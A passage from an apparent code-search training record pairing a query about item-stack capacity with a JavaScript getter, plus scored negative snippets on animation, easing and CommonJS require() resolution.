'linear', 0);\n slide(colcopyl2, \"1213px\", 12, 'linear', 0);\n slide(colcopyl3, \"-913px\", 13, 'linear', 0);\n slide(colcopyl4, \"1213px\", 14, 'linear', 0);\n //fade(opportunity, 1, 'ease-in-out', 3.7);\n timer = setInterval(advance, 3000);\n }\n if(phase === 1){\n console.log(\"phase===1\")\n var colcopyl1w = colcopyl1.offsetLeft;\n var colcopyl2w = colcopyl2.offsetLeft;\n var colcopyl3w = colcopyl3.offsetLeft;\n var colcopyl4w = colcopyl4.offsetLeft;\n slide(colcopyl1, (colcopyl1w +'px'), 40, 'linear', 0.5);\n slide(colcopyl2, (colcopyl2w +'px'), 42, 'linear', 0.5);\n slide(colcopyl3, (colcopyl3w +'px'), 44, 'linear', 0.5);\n slide(colcopyl4, (colcopyl4w +'px'), 46, 'linear', 0.5);\n\n colorChange(colcopywhite1, 0.75, 40, 'linear', 0.5);\n colorChange(colcopywhite4, 0.75, 40, 'linear', 0.5);\n\n fadeOut(colcopyl1txt, 0.75, 'ease-in-out', 0);\n fadeOut(colcopyl1btxt, 0.75, 'ease-in-out', 0);\n fadeOut(colcopyl2txt, 0.75, 'ease-in-out', 0);\n fadeOut(colcopyl2btxt, 0.75, 'ease-in-out', 0);\n fadeOut(colcopyl3txt, 0.75, 'ease-in-out', 0);\n fadeOut(colcopyl4txt, 0.75, 'ease-in-out', 0);\n fadeOut(colcopyl4btxt, 0.75, 'ease-in-out', 0);\n \n //slide(opportunity, \"243px\", 0.6, 'ease-in-out', 0); \n\n timer = setInterval(advance, 1000);\n }\n if(phase === 2){\n console.log(\"phase===2\")\n var mq = window.matchMedia( \"(max-device-width: 480px)\" );\n\n if( mq.matches ) {\n fade(colcopyHidden1, 0.5, 'ease-in-out', 0.2);\n fade(colcopyHidden2, 0.5, 'ease-in-out', 0.2);\n\n rePosition(colcopyl1, 271, 32, 0.5, 'ease-in-out', tweenDelay);\n //rePosition(colcopy2, 305, 32, 0.5, 'ease-in-out', tweenDelay);\n rePosition(colcopyl4, 455, 32, 0.5, 'ease-in-out', tweenDelay);\n fade(clickToExpand, 0.3, 'ease-in-out', 0.4); \n } else {\n fade(colcopyHidden1, 0.5, 'ease-in-out', 0.2);\n fade(colcopyHidden2, 0.5, 'ease-in-out', 0.2);\n \n rePosition(colcopyl1, 271, 32, 0.5, 'ease-in-out', tweenDelay);\n //rePosition(colcopyl2, 262, 32, 0.5, 'ease-in-out', tweenDelay);\n rePosition(colcopyl4, 455, 32, 0.5, 'ease-in-out', tweenDelay); \n fade(clickToExpand, 0.3, 'ease-in-out', .9);\n }\n\n timer = setInterval(advance, 1000);\n }\n\n phase ++;\n }", "function getEasing(value, duration) {\n\t\t var easing = value;\n\t\t\n\t\t /* The easing option can either be a string that references a pre-registered easing,\n\t\t or it can be a two-/four-item array of integers to be converted into a bezier/spring function. */\n\t\t if (Type.isString(value)) {\n\t\t /* Ensure that the easing has been assigned to jQuery's Velocity.Easings object. */\n\t\t if (!Velocity.Easings[value]) {\n\t\t easing = false;\n\t\t }\n\t\t } else if (Type.isArray(value) && value.length === 1) {\n\t\t easing = generateStep.apply(null, value);\n\t\t } else if (Type.isArray(value) && value.length === 2) {\n\t\t /* springRK4 must be passed the animation's duration. */\n\t\t /* Note: If the springRK4 array contains non-numbers, generateSpringRK4() returns an easing\n\t\t function generated with default tension and friction values. */\n\t\t easing = generateSpringRK4.apply(null, value.concat([ duration ]));\n\t\t } else if (Type.isArray(value) && value.length === 4) {\n\t\t /* Note: If the bezier array contains non-numbers, generateBezier() returns false. */\n\t\t easing = generateBezier.apply(null, value);\n\t\t } else {\n\t\t easing = false;\n\t\t }\n\t\t\n\t\t /* Revert to the Velocity-wide default easing type, or fall back to \"swing\" (which is also jQuery's default)\n\t\t if the Velocity-wide default has been incorrectly modified. */\n\t\t if (easing === false) {\n\t\t if (Velocity.Easings[Velocity.defaults.easing]) {\n\t\t easing = Velocity.defaults.easing;\n\t\t } else {\n\t\t easing = EASING_DEFAULT;\n\t\t }\n\t\t }\n\t\t\n\t\t return easing;\n\t\t }", "function init() {\n id(\"start\").addEventListener(\"click\", startGame);\n id(\"stop\").addEventListener(\"click\", endGame);\n let fontSize = qsa(\"input[name='size']\");\n for (let i = 0; i < fontSize.length; i++) {\n fontSize[i].addEventListener(\"change\", changeSize);\n }\n let speedChoice = id(\"speed\");\n speedChoice.addEventListener(\"change\", changeSpeed);\n }" ]
[ "0.6453063", "0.6268855", "0.6184419", "0.61578745", "0.6140396", "0.6131133", "0.60724837", "0.60382426", "0.5910181", "0.5877697", "0.58274066", "0.58142555", "0.57591444", "0.5753274", "0.57452977", "0.5741803", "0.57268566", "0.57193154", "0.5716238", "0.5686517", "0.56279254", "0.5615844", "0.5577019", "0.5571934", "0.55590045", "0.5551691", "0.55292934", "0.5527118", "0.55060244", "0.55039805", "0.54981613", "0.5496765", "0.5483001", "0.5463598", "0.5462551", "0.5456332", "0.54558843", "0.5443821", "0.54358023", "0.5429299", "0.54291755", "0.54252076", "0.54139215", "0.54044104", "0.53954476", "0.53949344", "0.53924733", "0.5387539", "0.5380663", "0.53744113", "0.5363972", "0.53596234", "0.53570116", "0.5356543", "0.5355294", "0.5353364", "0.5353049", "0.5350184", "0.53423", "0.5330294", "0.53293884", "0.53257024", "0.53213835", "0.5312345", "0.5306533", "0.5303561", "0.53028756", "0.5302321", "0.5301216", "0.5301216", "0.5300557", "0.5300557", "0.52921116", "0.5285024", "0.5282463", "0.52811503", "0.5274159", "0.5269743", "0.5269021", "0.5269021", "0.5269021", "0.5256635", "0.52543557", "0.52538455", "0.52532", "0.52522707", "0.52442306", "0.5241228", "0.523935", "0.52258766", "0.52257067", "0.52183807", "0.52170163", "0.52087015", "0.5207183", "0.5202419", "0.52019596", "0.51996946", "0.51854014", "0.51853716" ]
0.8061174
0
How many more items can be put into this itemstack
get capacity(){ return this.maxStackSize - this.stackSize; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "_getItemCount() {\n return this.options.length + this.optionGroups.length;\n }", "size() {\n return this.items.length();\n }", "size() {\n\t\treturn this.items.length();\n\t}", "count() {\n let sum = this.items.length;\n return sum;\n }", "get itemCount() {\n return this._itemsByElement.size;\n }", "itemCount() {\n return this.__roomItems.length;\n }", "size() {\r\n\t\treturn this.items.length;\r\n\t}", "size() {\n\t\treturn this.items.length;\n\t}", "size() {\n\n return this.items.length;\n }", "size() {\n return this.items.length;\n }", "getAllItemsWidth() {\n return this.items.length * (this.initialItemsWidth / this.initialItemElements.length);\n }", "reachedCapacity(){\n return this.amount >= this.item.stackMax ;\n }", "get length() {\n\t\treturn this.items.length;\n\t}", "showNumberOfItems() {\n const message = document.createTextNode(\"Items:\" + this.data.length),\n numOfItems = document.getElementById(\"number-of-items\");\n numOfItems.innerHTML = \"\";\n numOfItems.appendChild(message);\n }", "function DDLightbarMenu_GetNumItemsPerPage()\n{\n\tvar numItemsPerPage = this.size.height;\n\tif (this.borderEnabled)\n\t\tnumItemsPerPage -= 2;\n\treturn numItemsPerPage;\n}", "size() {\n return this.items.length\n }", "get numberOfChildren() {\n return Object.keys(this.children).length;\n }", "get numberOfChildren() {\n return Object.keys(this.children).length;\n }", "get numberOfChildren() {\n return Object.keys(this.children).length;\n }", "get numberOfChildren() {\n return Object.keys(this.children).length;\n }", "get numberOfChildren() {\n return Object.keys(this.children).length;\n }", "get itemCount() {\n return this._list.childNodes.length;\n }", "countOfItems() {\n var count = 0\n for (var sku in this.items) {\n var li = this.items[sku]\n count = Number(count) + Number(li.quantity)\n }\n return count\n }", "size(){\n return this.items.length;\n }", "size(){\n return this.items.length;\n\n }", "function canEquipItemCount() {\n var stats = (0, _templateString.$stats)(_templateObject2 || (_templateObject2 = _taggedTemplateLiteral([\"Muscle, Mysticality, Moxie\"]))).map(stat => Math.min((0, _kolmafia.myBasestat)(stat), 300));\n\n if (stats.every((value, index) => value === cachedStats[index])) {\n return cachedCanEquipItemCount;\n }\n\n cachedStats = stats;\n cachedCanEquipItemCount = Item.all().filter(item => (0, _kolmafia.canEquip)(item)).length;\n return cachedCanEquipItemCount;\n}", "size(){\n return this.items.length;\n }", "function size() {\n return n;\n }", "function size() {\n\t return n;\n\t }", "get length() {\n return this.items.size;\n }", "TotalItemsInQueue(){\n return this._length;\n }", "function listLength(){\n\treturn item.length;\n}", "get numberOfChildren() {\n return Object.keys(this.children).length;\n }", "function num_items(name) {\r\n\tvar item_count = character.items.filter(item => item != null && item.name == name).reduce(function (a, b) {\r\n\t\treturn a + (b[\"q\"] || 1);\r\n\t}, 0);\r\n\r\n\treturn item_count;\r\n}", "get count() {\n\t\t\treturn this.items\n\t\t\t\t.map(item => item.qty)\n\t\t\t\t.reduce((total, qty) => total += qty, 0);\n\t\t}", "function getTotalItemCount(){\n\t\t\treturn itemCount;\n\t\t}", "countItems() {\n this.elementsCounted = {};\n \t for(let name of this.items) {\n \t\tthis.elementsCounted[name] = this.elementsCounted[name] ? this.elementsCounted[name] + 1 : 1;\n }\n }", "size(){\n // Object.keys returns an array of all the properties of a given obj...\n return Object.keys(this.items).length;\n\n \n // OR, iterate thru object and increase counter for each (this does the same thing as Object.keys does under the hood)\n // var count = 0;\n // for (var key in this.items){\n // if (this.items.hasOwnProperty(key)){\n // count++;\n // }\n // }\n // return count;\n \n }", "function nbItems(list){\n var count = list.length;\n for (var i = 0; i < list.length; i++) {\n count += list[i].users.length;\n }\n return count;\n }", "function qodeNumberOfTestimonialsItems($this){\n var maxItems = $this.data('number-per-slide');\n\n if ($window_width < 768 && maxItems > 1){\n maxItems = 1;\n }else if ($window_width < 1024 && maxItems > 2) {\n maxItems = 2;\n }\n\n return maxItems;\n}", "get count () {\n return this._stack.length\n }", "function size() {\r\n var counter = 0;\r\n for (var i = 0; i < this.PriorityQueueContents.length; i++) {\r\n counter += this.PriorityQueueContents[i].ids.length;\r\n }\r\n return counter;\r\n }", "function num_items(name) {\n var item_count = character.items.filter(item => item != null && item.name == name).reduce(function(a, b) {\n return a + (b[\"q\"] || 1);\n }, 0);\n\n return item_count;\n}", "size() {\n return this.stack.length;\n }", "function extendDisplayedItems() {\n var list = currentList();\n if (maxItemsDisplayed === null) {\n initMaxItemsDisplayed();\n } else {\n maxItemsDisplayed = Math.min(maxItemsDisplayed + ITEMS_IN_NEXT_BATCHES, nbItems(list));\n }\n // if (console.log) console.log(\"maxItemsDisplayed: \" + maxItemsDisplayed + \" / \" + nbItems(list));\n updateDisplay(list);\n }", "childCount() {\n\t\tif (!this.state()) { return 0 }\n\n\t\tif (this[_size] === undefined) {\n\t\t\tthis[_size] = Object.keys(this.state()).length;\n\t\t}\n\n\t\treturn this[_size];\n\t}", "function nbFixedItems(list) {\n var count = list.length;\n for (var i = 0; i < list.length -1; i++) { // Exclude users of the \"Players\" group\n count += list[i].users.length;\n }\n return count;\n }", "isFull() {\n return this.items.length == this.maxItems;\n }", "function listLength() {\n return item.length;\n}", "function countListItems(array) {\n if (array.length >= 1 && array.length <= 9) {\n counter.removeClass('hidden');\n counter.html(`<p>${array.length}</p>`);\n } else if (array.length > 9) {\n counter.html(`<p>9+</p>`);\n } else {\n counter.addClass('hidden');\n }\n}", "GetItemCount() {}", "function totalListItems() {\n currentliItems = jQuery(\"#first-ul li\").length;\n jQuery(\"#unsolve-badge\").text(currentliItems);\n }", "size () {\n return this.count\n }", "count () {\n\t\treturn this[DISPLAY_LIST].length;\n\t}", "function length() {\n\treturn this.listSize;\n}", "itemCount() {\n return this.collection.length\n }", "getItemCount() {\n let count = 0;\n for (const data of this.facetBatches.values()) {\n count += data.length;\n }\n return count;\n }", "itemsCount() {\n return this._checkoutProducts\n .map((checkoutProduct) => checkoutProduct.count)\n .reduce((totalCount, count) => totalCount + count, 0);\n }", "function size() {\n return stack_size;\n }", "get itemSize() { return this._itemSize; }", "get itemSize() { return this._itemSize; }", "get size() {\n let size = 0;\n for (let i = 0; i < this.children.length; i++)\n size += this.children[i].size;\n return size;\n }", "UpdatePoppedEggCount() {\n let count = this.eggBasket.filter(e => e.isPopped).length;\n if (window.location.hostname == \"localhost\") count += 9;\n ui.SetEggCount(count, this.eggBasket.length);\n return count >= this.eggBasket.length;\n }", "countItems(type) {\n let key = this.getKey(type)\n return this.items[key].length\n }", "getLingeringStackCount() {\n return this._waitingStacks.size + this._interruptedStacksOfUnknownCircumstances.length;\n }", "get totalSize() {\n return this.length + (this.current ? 1 : 0);\n }", "howMuchMore() {\n return this.maxSize - this.totalSize;\n }", "function checkLimit() {\n return global.maxItems && global.detailsEnqueued >= global.maxItems;\n}", "function capacity(list){\n return MAX_ELEMENT_LIST;\n}", "get maxVisibleItems(){ return this.__maxVisibleItems; }", "function question5 () {\n for (let i = 0; i < data.length; i++) {\n if (data[i].materials.length >= 8) {\n // measures the length of each item's materials and if it is 8 or more\n console.log(data[i].title, data[i].materials.length, data[i].materials);\n }\n }\n}", "totalChecked() {\n return this.state.items.filter(props => props.checked).length;\n }", "count () {\n return Object.keys(this.cards).length;\n }", "function isFull(){\n if(basket < maxItems){\n return false;\n } else {\n return true;\n }\n}", "count() {\r\n return this.length;\r\n }", "function itemsCount() {\n $(\"#itemsShow\").html(items);\n }", "function qodeNumberOfTestimonialsItemsResize(){\n\n\n var testimonialsSlider = $j('.testimonials_carousel, .testimonials_c_carousel');\n\n if(testimonialsSlider.length){\n testimonialsSlider.each(function(){\n var thisSliderHolder = $j(this);\n\n var items = qodeNumberOfTestimonialsItems(thisSliderHolder);\n\n thisSliderHolder.data('flexslider').vars.minItems = items;\n thisSliderHolder.data('flexslider').vars.maxItems = items;\n });\n }\n}", "count(){\n\t\treturn this.size;\n\t}", "contadorCarrito(){\r\n return this.itemsCarrito().length\r\n }", "function listLength() {\n return listItems.length;\n}", "function adjustCount(amount){\n\t\t\titemCount = itemCount + amount;\n\t\t}", "get len(){\r\n\t\t// NOTE: if we don't do .slice() here this can count array \r\n\t\t// \t\tinstance attributes...\r\n\t\t// NOTE: .slice() has an added menifit here of removing any \r\n\t\t// \t\tattributes from the count...\r\n\t\treturn Object.keys(this.slice()).length }", "size() {\n return this.n;\n }", "function size(self) {\n return self.size();\n}", "getCardSize() {\r\n return this.config.entities.length + 1;\r\n }", "get scalableComponentsCount() {\n\t\t\tvar scalableComponentIdentifiers = this.scalableHeightComponentIdentifiers;\n\n\t\t\tvar scalableComponentsCount = scalableComponentIdentifiers.dimension.length + scalableComponentIdentifiers.margin.length;\n\n\t\t\treturn scalableComponentsCount;\n\t\t}", "get length() {\n return stack.length;\n }", "function GetSizeOfItems(ns) {\n var ns2 = (ns == 'w') ? 'width' : 'height', ns3 = (ns == 'w') ? 'Width' : 'Height', names = [ns + 'Self', ns + 'ToPadding', ns + 'ToBorder', ns + 'ToMargin'];\n // Reset property at first\n for (i = 0; i < names.length; i++) {\n p[names[i]] = [];\n }\n // Setup each item\n va.$pagItem.each(function () {\n var $itemCur = $(this), dSelf = M.R(M[ns3]($itemCur)), \n // Distance around of item: padding, border, margin\n dPadding = M.R(M['Inner' + ns3]($itemCur) - dSelf), dPadToBor = M.R(M['Outer' + ns3]($itemCur) - dSelf), dPadToMar = M.R(M['Outer' + ns3]($itemCur, true) - dSelf);\n // Setup size of pagItem when have option: width, height, minWidth, maxWidth...\n var optsMin = opag['min' + ns3], optsMax = opag['max' + ns3];\n if ($.isNumeric(opag[ns2]))\n dSelf = opag[ns2];\n if ($.isNumeric(optsMin) && dSelf < optsMin)\n dSelf = optsMin;\n if ($.isNumeric(optsMax) && dSelf > optsMax)\n dSelf = optsMax;\n // Push all size into array[]\n // Part size is sum -> because size 'self' can change\n p[names[0]].push(dSelf);\n p[names[1]].push(dSelf + dPadding);\n p[names[2]].push(dSelf + dPadToBor);\n p[names[3]].push(dSelf + dPadToMar);\n });\n /**\n * SETUP OTHER SIZE\n * + Size Min - Max of pagItem\n * + Total size of all pagItems\n */\n p[ns + 'Min'] = Math.min.apply(null, p[names[0]]);\n p[ns + 'Max'] = Math.max.apply(null, p[names[0]]);\n p[ns + 'Sum'] = M.Sum(p[names[3]]);\n }", "moreWidth() {\n return this.widthList_.length > 0;\n }", "size()\r\n {\r\n return this.#count;\r\n }", "get size() {\n return _(this).collection.length;\n }", "get size() {\n return _(this).collection.length;\n }", "function reap_children() {\n var tmp = [];\n for(var i in children) {\n /* */\n }\n children = tmp;\n return tmp.size;\n}", "function checkIfItemsAreDisplayed(index){\n\n var $tab = $tabs.eq(index);\n var $items = $tab.find(\".item\");\n var totalItems = $items.length;\n var visibleItems = $items.filter(\":visible\").length;\n var displayLimit = (Modernizr.mq(\"screen and (min-width:768px) and (max-width:1024px)\"))? 4:6;\n\n if(totalItems > 0 && totalItems > displayLimit) {\n // if(totalItems == visibleItems || !totalItems || totalItems <= displayLimit){\n if(totalItems == visibleItems) {\n $moreButtons.addClass('less');\n }\n $moreButtons.show();\n }else{\n $moreButtons.hide();\n }\n }", "size(arr){\n var count = 0;\n while(this.data !== []){\n count++;\n this.pop;\n }\n return count;\n }", "reservedSeats(props) {\n var total = 0\n\n var totalfun = function (i) {\n total = total + i.attending.length\n }\n for (var i = 0; i < props.state.items.length; i++) {\n totalfun(props.state.items[i])\n }\n return total\n }", "function HowMany() {\r\n shirts.forEach(shirt => {\r\n SIZESFOREACH[shirt.size]++;\r\n });\r\n\r\n return SIZESFOREACH;\r\n}", "noMoreThanThreeWeaponsInPlay() {\n let numberOfItems = 0;\n\n this.llama.weaponsInPossession.forEach(weapon => {\n numberOfItems ++;\n });\n\n this.itemsInPlay.forEach(item => {\n if (item instanceof _special_items_weapon_items_js__WEBPACK_IMPORTED_MODULE_7__[\"default\"]) {\n numberOfItems ++;\n }\n });\n\n if (numberOfItems < 3) {\n return true\n }\n\n return false;\n }", "function getNumItemsPerCategory() {\n // Get items per farming season\n const perSeason = [];\n farmSeasonFilters.forEach((season) => {\n const currentSeasonItems = produceListings.filter(\n (listing) => listing.season === season,\n );\n perSeason.push(currentSeasonItems.length);\n });\n setSeasonItems(perSeason);\n\n // Get items per item type (agency or standard)\n const numAgencyItems = produceListings.filter((listing) => listing.hasAgencyPrice).length;\n const numStandardItems = produceListings.length - numAgencyItems;\n setItemsPerItemType([numAgencyItems, numStandardItems]);\n\n // Get items per produce type\n const perProdType = [];\n produceTypeFilters.forEach((prodType) => {\n const currentProdItems = produceListings.filter(\n (listing) => listing.produceType === prodType,\n );\n perProdType.push(currentProdItems.length);\n });\n setProdItems(perProdType);\n\n // Get items per price range (0-15, 15-30, 30-45, 45-60, 60-75)\n const perPrice = [0, 0, 0, 0, 0];\n produceListings.forEach((listing) => {\n const thisPrice = listing.palletPrice;\n if (thisPrice >= priceOptions[0] && thisPrice <= priceOptions[1]) {\n perPrice[0] += 1;\n }\n if (thisPrice >= priceOptions[1] && thisPrice <= priceOptions[2]) {\n perPrice[1] += 1;\n }\n if (thisPrice >= priceOptions[2] && thisPrice <= priceOptions[3]) {\n perPrice[2] += 1;\n }\n if (thisPrice >= priceOptions[3] && thisPrice <= priceOptions[4]) {\n perPrice[3] += 1;\n }\n if (thisPrice >= priceOptions[4] && thisPrice <= priceOptions[5]) {\n perPrice[4] += 1;\n }\n });\n setPriceItems(perPrice);\n }", "getItemCount(item){\n if(this.inventory[item] == null)\n {\n console.log(\"%cCould not find \" + item, \"color:red\");\n return 0;\n }\n else{\n return this.inventory[item];\n }\n }" ]
[ "0.70207083", "0.6717445", "0.6664919", "0.6614674", "0.6602512", "0.6595949", "0.65894425", "0.65685594", "0.65483546", "0.65463567", "0.64896464", "0.64622223", "0.64041513", "0.63932735", "0.63812083", "0.63549006", "0.6324822", "0.6324822", "0.6324822", "0.6324822", "0.6324822", "0.62774146", "0.6274316", "0.62588906", "0.62422144", "0.62320036", "0.6226415", "0.62232435", "0.62015015", "0.6186247", "0.6185496", "0.6152607", "0.6147636", "0.61401224", "0.6114596", "0.60995543", "0.60865146", "0.60831434", "0.60787433", "0.6061885", "0.6053883", "0.60434246", "0.6039453", "0.6031887", "0.60207117", "0.601616", "0.6012957", "0.6010494", "0.6004345", "0.59908473", "0.5979503", "0.5971542", "0.5963439", "0.59555", "0.5932474", "0.5915453", "0.59143937", "0.5903233", "0.58918196", "0.58850706", "0.58850706", "0.5882873", "0.58705837", "0.5870358", "0.5862779", "0.58624715", "0.5843624", "0.58344156", "0.58248556", "0.5811903", "0.58019257", "0.58009535", "0.5793616", "0.57928205", "0.5791583", "0.57894915", "0.57865185", "0.5778289", "0.5749365", "0.5747781", "0.57423055", "0.5733011", "0.57316905", "0.57215106", "0.57202256", "0.5714585", "0.5711116", "0.5706107", "0.5697168", "0.5693803", "0.56844497", "0.56844497", "0.56752133", "0.56712025", "0.5664052", "0.5661327", "0.5660825", "0.5658366", "0.5656205", "0.5638078" ]
0.5722846
83
The relative require() itself.
function localRequire(path) { var resolved = localRequire.resolve(path); return require(resolved, parent, path); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function require() { return {}; }", "function innerRequire(_path) {\n\treturn require(path.join(process.cwd(), _path));\n}", "function fn(path){\n var orig = path;\n path = fn.resolve(path);\n return require(path, parent, orig);\n }", "function localRequire(path) {\n var resolved = require.resolve(localRequire.resolve(path));\n if (resolved && require.modules.hasOwnProperty(resolved)) {\n return require(resolved, parent, path);\n }\n return require(path);\n }", "function getRequirePath(relativeFilePath, nesting) {\n const stack = callsite();\n const requester = stack[nesting || 2].getFileName();\n\n return path.resolve(path.dirname(requester), relativeFilePath);\n}", "function hookRequire() {\n if (rootDirs.length > 0) {\n const originalRequire = Module.prototype.require;\n\n Module.prototype.require = function (request) {\n if (!path.isAbsolute(request) && request.startsWith('.')) {\n const moduleDir = path.dirname(this.filename);\n const moduleRootDir = rootDirs.find(rootDir => moduleDir.startsWith(rootDir));\n\n if (moduleRootDir) {\n const moduleRelativeFromRoot = path.relative(moduleRootDir, moduleDir);\n\n if (moduleRootDir) {\n for (const rootDir of rootDirs) {\n const possiblePath = path.join(rootDir, moduleRelativeFromRoot, request);\n\n let resolvedPath;\n try {\n resolvedPath = require.resolve(possiblePath);\n } catch (e) {\n continue;\n }\n\n return originalRequire.call(this, resolvedPath);\n }\n }\n }\n }\n\n return originalRequire.call(this, request);\n };\n }\n}", "function makeRequire(m, self) {\n function _require(_path) {\n return m.require(_path);\n }\n\n _require.resolve = function(request) {\n return _module._resolveFilename(request, self);\n };\n _require.cache = _module._cache;\n _require.extensions = _module._extensions;\n\n return _require;\n}", "static require (filename) {\n\t\treturn require(`./handlers/${filename}`);\n\t}", "function resolve(name, relativeTo) {\n\tvar path = false;\n\ttry {\n\t\tpath = requireRelative.resolve(name, relativeTo);\n\t} catch (err) {\n\t\tconsole.log('resolve failed: ', err, name);\n\t}\n\treturn path;\n}", "_freshRequire (file, vars) {\n clearRequireAndChildren(file)\n return this.require(file, vars)\n }", "function makeRequireFunction() {\r\n var Module = this.constructor;\r\n var self = this;\r\n\r\n function require(path) {\r\n try {\r\n exports.requireDepth += 1;\r\n return self.require(path);\r\n } finally {\r\n exports.requireDepth -= 1;\r\n }\r\n }\r\n\r\n function resolve(request) {\r\n return Module._resolveFilename(request, self);\r\n }\r\n\r\n require.resolve = resolve;\r\n\r\n require.main = process.mainModule;\r\n\r\n // Enable support to add extra extension types.\r\n require.extensions = Module._extensions;\r\n\r\n require.cache = Module._cache;\r\n\r\n return require;\r\n}", "function target(relativePath) {\n return require(targetDir + '/' + relativePath);\n}", "function require(id, parent) {\n parent = parent || __filename;\n\n function dir_prefix( uri ) {\n var split = uri.match(/.*\\//);\n return split ? split[0] : '';\n }\n\n function ends_with(str, suffix) {\n return str.indexOf(suffix, str.length - suffix.length) !== -1;\n }\n\n function copy_attrs(src, dst) {\n Object.keys(src).forEach(function (attr) {\n dst[attr] = src[attr];\n });\n }\n\n function prepare_globals(id, uri) {\n var globals = {};\n if (settings.modules.core[id] !== undefined) {\n // prefetched core modules need access to require and console before\n // they get propagated to global environment\n copy_attrs(exports, globals);\n // core modules get access to platform bindings\n globals[global_keys.bindings] = __bindings;\n }\n // 'bind' the module id\n globals.require = function (id) {\n return require(id, uri);\n };\n globals.require.cache = module_cache;\n globals.require.resolve = function (id) {\n return resolve(id, uri);\n };\n\n globals.module = new_module;\n globals.exports = new_module.exports;\n globals[global_keys.filename] = uri;\n globals[global_keys.dirname] = dir_prefix( uri );\n return globals;\n }\n\n // 1) resolve given id to file uri\n var uri = resolve(id, parent);\n\n // 2) use resolved uri as a key to lookup the module in the cache\n var new_module = module_cache[uri];\n\n if (new_module === undefined) {\n // 3) load module source code\n var src = repo.load(uri, false);\n\n // 4) register half-finalized module to prevent infinite loop in case of cyclic dependencies\n new_module = {id: uri, filename: uri, loaded: false, exports: {}};\n module_cache[uri] = new_module;\n\n if (ends_with(uri, '.json')) {\n // 5a) parse JSON file and inject it to the module's exports\n new_module.exports = JSON.parse(src);\n } else {\n // 5b) evaluate the source code in prepared 'global' environment\n handle_jslint(uri, src);\n func.eval(src, uri, prepare_globals(id, uri));\n }\n new_module.loaded = true;\n }\n // X) return module's exports back to caller\n return new_module.exports;\n}", "function requireLocal(name, root) {\n root = root || params.root;\n\n return ignore(_.partial(require, path.join(root, name)), 'MODULE_NOT_FOUND') || // File include.\n ignore(_.partial(require, path.join(root, 'node_modules', name)), 'MODULE_NOT_FOUND') || // Module include\n require(name); // Global include\n }", "function requireName(from) {\n const parts = from.split(NODE_MODULES);\n const root = path.join(__dirname, '..');\n if (parts.length === 1) {\n // We are consuming ourselves.\n if (from) {\n return `./${path.relative(root, from)}`;\n } else {\n return root;\n }\n } else {\n // We need everything from the first node modules\n return parts\n .slice(1)\n .join(NODE_MODULES)\n .slice(1); // This get's rid of leading /\n }\n}", "hack() {\n this.hackRequire = true;\n\n const self = this;\n const Module = require('module');\n\n // Ensure existing stores are wired\n this.wireStores();\n\n if (this.rewiredResolve) {\n return;\n }\n\n const _resolveFilename = Module._resolveFilename;\n\n // @todo there needs to be a way to revert resolver\n Module._resolveFilename = function hopperWrapped(request, parent) {\n if (request.indexOf(self.prefixRequire) === 0) {\n const name = request.split('/').pop();\n\n if (self.has(name)) {\n return request;\n }\n }\n\n return _resolveFilename(request, parent);\n };\n\n Module._resolveFilename.original = _resolveFilename;\n\n this.rewiredResolve = true;\n }", "static requireTestHelper (filename) {\n\t\treturn require(`../tests/includes/${filename}`);\n\t}", "function require(str) {}", "function requireMainProcessAdditional () {\n var files = glob.sync(path.join(__dirname, 'main-process/**/*.js'))\n files.forEach(function (file) {\n require(file)\n })\n}", "function RockMod_RequireLoadMain() {\n var loadMainScript = document.querySelector('script[data-main]');\n if (loadMainScript) {\n var mainFile = loadMainScript.getAttribute('data-main');\n if (Rocket.is.string(mainFile) && mainFile.length > 0) {\n var customPath = (mainFile.substring(0, 2) === '~/') ? Rocket.defaults.rootPath : './';\n RockMod_Require.load(mainFile, false, customPath);\n }\n }\n}", "function withRelativeFileName(proxyquire, paths) {\n return withCustomLoad(\n proxyquire,\n (fileName, stubs, _load) => {\n const parent = (thisModule || module).parent;\n const aliases = resolve(basename(parent.filename), {\n [fileName]: true\n }, paths, parent);\n return _load.call(proxyquire, Object.keys(aliases)[0], stubs)\n }\n );\n}", "function tryRequire(file) {\n return typeof require !== 'undefined' ? require(file) : undefined;\n}", "function tryRequire(file) {\n return typeof require !== 'undefined' ? require(file) : undefined;\n}", "function tryRequire(file) {\n return typeof require !== 'undefined' ? require(file) : undefined;\n}", "function tryRequire(file) {\n return typeof require !== 'undefined' ? require(file) : undefined;\n}", "function ensures(name) {\n return require(name);\n}", "rel (relativePath) {\n let url = this.url(relativePath);\n let relativeURL = url.href.replace(cwd.href, \"\");\n return relativeURL;\n }", "function req(name) {\n\ttry {\n\t\treturn require(name);\n\t} catch (err) {\n\t\treturn false;\n\t}\n}", "function require(input){\n\tswitch(input){\n\t\tcase '../../server.js': return Modules;\n\t\tdefault: alert('Unknown requirement: '+input);\n\t}\n}", "function __require(uid, parentUid) {\n\tif(!__moduleIsCached[uid]) {\n\t\t// Populate the cache initially with an empty `exports` Object\n\t\t__modulesCache[uid] = {\"exports\": {}, \"loaded\": false};\n\t\t__moduleIsCached[uid] = true;\n\t\tif(uid === 0 && typeof require === \"function\") {\n\t\t\trequire.main = __modulesCache[0];\n\t\t} else {\n\t\t\t__modulesCache[uid].parent = __modulesCache[parentUid];\n\t\t}\n\t\t/* Note: if this module requires itself, or if its depenedencies\n\t\t\trequire it, they will only see an empty Object for now */\n\t\t// Now load the module\n\t\t__modules[uid](__modulesCache[uid], __modulesCache[uid].exports);\n\t\t__modulesCache[uid].loaded = true;\n\t}\n\treturn __modulesCache[uid].exports;\n}", "relative(path) {\n return new URL(path, this.getUrl().href).href;\n }", "require(...route) {\n\t\treturn require(this.resolve(...route));\n\t}", "function require(name) {\n var mod = ModuleManager.get(name);\n if (!mod) {\n //Only firefox and synchronous, sorry\n var file = ModuleManager.file(name);\n var code = null,\n request = new XMLHttpRequest();\n request.open('GET', file, false); \n try {\n request.send(null);\n } catch (e) {\n throw new LoadError(file);\n }\n if(request.status != 200)\n throw new LoadError(file);\n //Tego el codigo, creo el modulo\n var code = '(function(){ ' + request.responseText + '});';\n mod = ModuleManager.create(name, file, code);\n }\n event.publish('module_loaded', [this, mod]);\n switch (arguments.length) {\n case 1:\n // Returns module\n var names = name.split('.');\n var last = names[names.length - 1];\n this[last] = mod;\n return mod;\n case 2:\n // If all contents were requested returns nothing\n if (arguments[1] == '*') {\n __extend__(false, this, mod);\n return;\n // second arguments is the symbol in the package\n } else {\n var n = arguments[1];\n this[n] = mod[n];\n return mod[n];\n }\n default:\n // every argyment but the first one are a symbol\n // returns 